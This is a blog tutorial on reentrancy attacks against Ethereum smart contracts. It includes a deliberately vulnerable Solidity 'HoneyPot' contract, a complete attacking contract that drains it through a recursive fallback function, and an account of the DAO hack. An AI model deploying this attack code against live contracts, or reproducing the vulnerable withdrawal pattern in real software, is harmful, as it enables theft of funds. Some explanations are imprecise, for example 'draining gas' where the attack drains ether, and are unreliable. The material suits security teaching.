Smart Contract Security: Reentrancy Attacks

Home / Uncategorized / Smart Contract Security: Reentrancy Attacks

It really is an exciting time to be alive for smart contract developers. We are living in a time when Ethereum and blockchain technology is coming to the forefront. Now, we know that code vulnerability and bugs are not that uncommon a problem when it comes to smart contract security. However, this problem is thousand times more amplified for smart contracts, for a very valid reason. Smart contracts deal with millions of dollars, so it is paramount for these contracts to be as robust as possible.

Smart Contract Security: Reentrancy Attacks

Smart Contract Security: Reentrancy Attacks

What are Smart Contracts?

Smart contracts are automated contracts. They are self-executing with specific instructions written on its code which get executed when certain conditions are made.

Smart Contract Security: Reentrancy Attacks

You can learn more about smart contracts in our in-depth guide here.

Smart contracts are how things get done in the Ethereum ecosystem. When someone wants to get a particular task done in Ethereum they initiate a smart contract with one or more people.

Smart contracts are a series of instructions, written using the programming language “solidity”, which works on the basis of the IFTTT logic aka the IF-THIS-THEN-THAT logic. Basically, if the first set of instructions are done then execute the next function and after that the next and keep on repeating until you reach the end of the contract.

The best way to understand that is by imagining a vending machine. Each and every step that you take acts like a trigger for the next step to execute itself. It is kinda like the domino effect. So, let’s examine the steps that you will take while interacting with the vending machine:

Step 1: You give the vending machine some money.

Step 2: You punch in the button corresponding to the item that you want.

Step 3: The item comes out and you collect it.

Now look at all those steps and think about it. Will any of the steps work if the previous one wasn’t executed? Each and every one of those steps is directly related to the previous step. There is one more factor to think about, and it is an integral part of smart contracts. You see, in your entire interaction with the vending machine, you (the requestor) were solely working with the machine (the provider). There were absolutely no third parties involved.

So, now how would this transaction have looked like if it happened in the Ethereum network?

Suppose you just bought something from a vending machine in the Ethereum network, how will the steps look like then?

Step 1: You give the vending machine some money and this gets recorded by all the nodes in the Ethereum network and the transaction gets updated in the ledger.

Step 2: You punch in the button corresponding to the item that you want and record of that gets updated in the Ethereum network and ledger.

Step 3: The item comes out and you collect it and this gets recorded by all the nodes and the ledger.

Every transaction that you do through the smart contracts will get recorded and updated by the network. What this does is that it keeps everyone involved with the contract accountable for their actions. It takes away human malice by making every action taken visible to the entire network.

Alright, so now that you know what a smart contract is, let’s get into the reentrancy attack.

What is the Reentrancy attack?

Normally, a non-recursive function cannot be entered into before it completes execution. However, a hacker can use the reentrancy attack to enter the function as many times as they want. If used properly, the hacker can drain a smart contract of all its gas. The most famous example of this was the DAO attack when $50 million worth of ether was siphoned away via the reentrancy attack.

So, how does this attack work?

For this, we will turn to Gustavo Guimaraes where he works on a “HoneyPot” contract and demonstrates how reentrancy works in that case. The contract in question is this:

pragma solidity ^0.4.8


contract HoneyPot {

 mapping (address => uint) public balances;

 function HoneyPot() payable {

   put();

 }

 function put() payable {

   balances[msg.sender] = msg.value;

 }

 function get() {

   if (!msg.sender.call.value(balances[msg.sender])()) {

     throw;

   }

     balances[msg.sender] = 0;

 }

 function() {

   throw;

 }

}

 

The contract above is pretty straightforward and does 2 simple functions.

 

  • You can use the contract to store or put() ether in it. It keeps a record of balances for each address that puts ether in the contract.

 

  • At a later time, you can withdraw or get() your ether back from the contract.

 

Can you spot the vulnerability in smart contract security above?

HINT: Pay close attention to the get() function:

function get() {

   if (!msg.sender.call.value(balances[msg.sender])()) {

     throw;

   }

     balances[msg.sender] = 0;

 

So, what exactly is going on here?

 

  • Firstly, the contract is checking whether the person withdrawing has received their ether or not.

 

  • Then, that person’s balance is adjusted to 0.

 

What if we engineer a reentrancy attack here and trick the contract into thinking that we still have ether left to withdraw and hence stop it from adjusting the balance as 0?

This is the vulnerability in and this is what we will exploit.

Exploiting the Vulnerability in Smart Contract Security

We will be using the following contract to attack the above contract:

pragma solidity ^0.4.8;



import "./HoneyPot.sol";

contract HoneyPotCollect {

 HoneyPot public honeypot;

 function HoneyPotCollect (address _honeypot) {

   honeypot = HoneyPot(_honeypot);

 }

 function kill () {

   suicide(msg.sender);

 }

 function collect() payable {

   honeypot.put.value(msg.value)();

   honeypot.get();

 }

 function () payable {

   if (honeypot.balance >= msg.value) {

     honeypot.get();

   }

 }

}

This functions stores up some ether in the HoneyPot function and after that it immediately withdraws it.

Now, comes the second part of the attack which is also known as the “fallback function.” A fallback function is an unnamed function and a contract is only allowed to have one such function.  This function is executed whenever the contract receives plain Ether. Plus, the function must be marked payable for it to receive Ether through regular transactions.

Let’s look at how the fallback function in the attacking contract above looks like:

function () payable {

   if (honeypot.balance >= msg.value) {

     honeypot.get();

   }

 }

 

As the condition states, as long as the HoneyPot balance is greater than or equal to the value that it was sent, the get function gets triggered.

Alright, so now let’s see how the entire mechanism works:

  • The first part of the reentrancy attack puts some ether in the contract and then triggers the get() function to start withdrawal.

 

  • The get() function gives the HoneyPotCollect contract the ether.

 

  • Because the HoneyPotCollect contract gets some pure ether, it in turn triggers the fallback function.

 

  • The fallback function keeps triggering the get() function and since the sender’s balance is adjusted to 0 later in the get() function, the function keeps on repeating in a circle until the HoneyPot contract is depleted.

Devastating Effects of the Reentrancy Attack

As mentioned before, The DAO hack is one of the most infamous examples of the reentrancy attack. There was a condition in the DAO contract which allowed anyone to split off and create their own Child DAO.

If one wished to exit the DAO then they can do so by sending in a request. The splitting function will then follow the following two steps:

  • Give the user back his/her Ether in exchange for their DAO tokens.

 

  • Register the transaction in the ledger and update the internal token balance.

There was a possible loophole here which the hacker exploited by creating a recursive function in the request.

 

  • Take the DAO tokens from the user and give them the Ether requested.

 

  • Before they could register the transaction the recursive function made the code go back and transfer even more Ether for the same DAO tokens.

The after effects of this was devastating. The value of Ether plunged and the Ethereum community was split into Ethereum and Ethereum Classic.

Conclusion

In your bug bounty quests, you will come across a lot of smart contracts who are vulnerable to certain attacks. The reentrancy attacks can be extremely devastating for the contract creator. In this guide, we showed you how the attack works and how you can recognize the vulnerabilities in order to maintain smart contract security. We hope that helps you in your journey.

Leave a Reply

Your email address will not be published. Required fields are marked *